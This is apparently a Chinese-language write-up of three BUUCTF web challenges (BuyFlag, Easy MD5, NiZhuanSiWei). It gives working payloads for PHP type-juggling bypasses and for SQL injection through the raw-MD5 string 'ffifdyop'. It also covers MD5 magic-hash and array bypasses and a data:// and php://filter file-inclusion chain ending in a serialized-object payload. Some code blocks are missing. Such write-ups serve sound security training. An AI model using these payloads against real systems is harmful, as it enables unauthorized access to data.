buuctf-web-4
[BJDCTF2020]Easy MD51
[极客大挑战 2019]BuyFlag1
[ZJCTF 2019]NiZhuanSiWei1
[极客大挑战 2019]BuyFlag1
查看源码可以看到部分源码
Post提交money和password,要求password不能是数字,但又要求password==404,
弱类型比较,所以只需要构造password=404aaa即可
构造报文
回显是已经绕过了前两个验证
但是又说numbers太长了,那我们使用科学计数法表示money
money=1e10&password=404aaa
[BJDCTF2020]Easy MD51
只有一个输入框,随便输入进行测试,看到一个hint
select * from ‘admin’ where password=md5($pass,true)
md5的语法如下
指定true之后,返回的是16字符的二进制格式
这里又学到新知识了
我们需要找到一个字符串,经过md5加密后返回的字符串能够构造成一个万能密码。
原理:
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
在网上的wp中看到的字符串****ffifdyop,****经过MD5之后,会变成’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,
可以看到真的出来了’or’6
拼接成:select * from ‘admin’ where password=’’or’6
在输入框中输入ffifdyop,跳转到新的页面
查看源码,发现源码
要求a!=b&&md5(a)==md5(b),首先这是弱比较,我们可以找两个字符串,经过md5加密后前面的数字是相同的即可,比如:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
或者使用数组绕过?a[]=1&b[]=2
又出现了新的源码,和上面一样,只不过这次是强等于,但是还是可以使用数组绕过,用post提交
[ZJCTF 2019]NiZhuanSiWei1
上来就是源码
Get提交text并且text=welcome to the zjctf,file参数中不能包含/flag/,然后可以包含file,password=unserialize(password)
总体来说就是三个绕过点,
第一个可以使用data://协议
text=data://text/plain,welcome to the zjctf
file是需要文件包含,但是不能直接包含flag,提示了一个useless.php文件,我们可以包含这个文件看看,直接file=useless.php看不到源码。伪协议读取
file=php://filter/read=convert.base64-encode/resource=useless.php
第二步的payload:
text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
base64解码之后,
1 |
|
我们发现useless.php是一个类,并且提示我们flag在flag.php
明确了文件位置就可以开始构造pop链。
如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
1 |
|
得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
构造最终payload
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
查看源码